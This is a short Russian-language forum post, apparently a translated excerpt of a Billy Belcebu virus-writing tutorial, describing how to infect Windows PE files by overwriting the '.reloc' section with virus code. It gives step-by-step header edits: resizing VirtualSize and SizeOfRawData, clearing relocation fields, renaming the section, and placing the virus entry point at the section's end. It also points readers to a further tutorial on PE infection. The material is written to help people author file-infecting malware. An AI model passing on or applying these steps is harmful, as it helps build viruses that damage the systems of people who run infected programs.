Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.

Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:

В заголовке секции:

  • В качестве нового VirtualSize установите размер вируса + его кучу
  • В качестве нового SizeOfRawData установите выравненный VirtualSize
  • Очистите PointerToRelocations и NumberOfRelocations
  • Измените имя '.reloc' на какое-нибудь другое.

Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая. © Billy Belcebu, пер. Aquila


0 1.011
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532